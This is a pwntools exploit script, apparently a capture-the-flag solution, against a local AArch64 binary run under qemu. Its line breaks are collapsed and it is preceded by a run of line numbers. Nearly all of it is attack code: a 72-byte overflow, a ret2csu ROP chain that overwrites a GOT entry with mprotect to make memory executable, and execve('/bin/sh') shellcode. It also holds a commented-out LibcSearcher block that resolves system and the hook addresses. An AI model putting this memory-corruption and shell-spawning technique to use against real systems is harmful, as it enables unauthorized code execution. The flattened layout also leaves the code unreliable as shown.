1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118
|
from pwn import *
local = 1 link = '127.0.0.1:10002' host,port = map(str.strip, link.split(':')) if link != '' else ("",0) context.log_level = 'debug'
context.terminal = ['mate-terminal','--geometry=94x60--10-26','--hide-menubar', '-x','sh','-c',] exe = './pwn' context.binary = exe elf = ELF(exe)
if local: io = process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu/", exe]) else: io = remote(host,port)
s = lambda data : io.send(str(data)) sa = lambda delim,data : io.sendafter(str(delim), str(data)) sl = lambda data : io.sendline(str(data)) sla = lambda delim,data : io.sendlineafter(str(delim), str(data)) r = lambda numb=4096 : io.recv(numb) rl = lambda : io.recvline().strip() ru = lambda delim,drop=True : io.recvuntil(delim, drop) rg = lambda regex : io.recvregex(regex) rp = lambda timeout=1 : io.recvrepeat(timeout) uu32 = lambda data : u32(data.ljust(4, '\x00')) uu64 = lambda data : u64(data.ljust(8, '\x00')) lg = lambda s,addr : io.success('\033[1;31;40m%20s--> 0x%x\033[0m'%(s,addr)) ga = lambda job="" : gdb.attach(io, job) if local else 0 ia = lambda : io.interactive()
def debug(addr,PIE=True): if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16) gdb.attach(io,'b *{}'.format(hex(text_base+addr))) else: gdb.attach(io,"b *{}".format(hex(addr)))
def get_one_gadget(filename): try: import subprocess except Exception as e: print("subprocess not install") exit(0) return map(int, subprocess.check_output(['one_gadget', '--raw', filename]).split(' '))
def csu_rop(call, x0, x1, x2): payload = flat([ 0x4008cc, 0, 0x4008ac, 0, 1, call, x2, x1, x0, 0, ]) return payload
def exp(host, rce=False): if rce: one_gadget = get_one_gadget(libc.path) offset = 72 shellcode = asm(shellcraft.execve("/bin/sh")) padding = asm("mov x0,x0") sa("Name:", padding*0x10 + shellcode)
payload = flat(cyclic(offset), csu_rop(elf.got['read'],0, elf.got['__gmon_start__'], 8)) payload += flat(0x0000000000400824) s(payload) s(flat(elf.plt['mprotect']))
sa("Name:", padding * 0x10 + shellcode) payload = flat([ cyclic(72), csu_rop(elf.got['__gmon_start__'], 0x411000, 0x1000, 7), 0x411068 ]) s(payload) ''' try: from LibcSearcher import * except Exception as e: print("LibcSearcher not install") exit(0) obj = LibcSearcher("fgets",leak_addr) libc_base = leak_addr - obj.dump("fgets") system_addr = libc_base + obj.dump("system") malloc_hook = libc_base + obj.dump("__malloc_hook") free_hook = libc_base + obj.dump("__free_hook") bin_sh_addr = libc_base + obj.dump("str_bin_sh") ''' ia()
if __name__ == '__main__': exp(host,)
|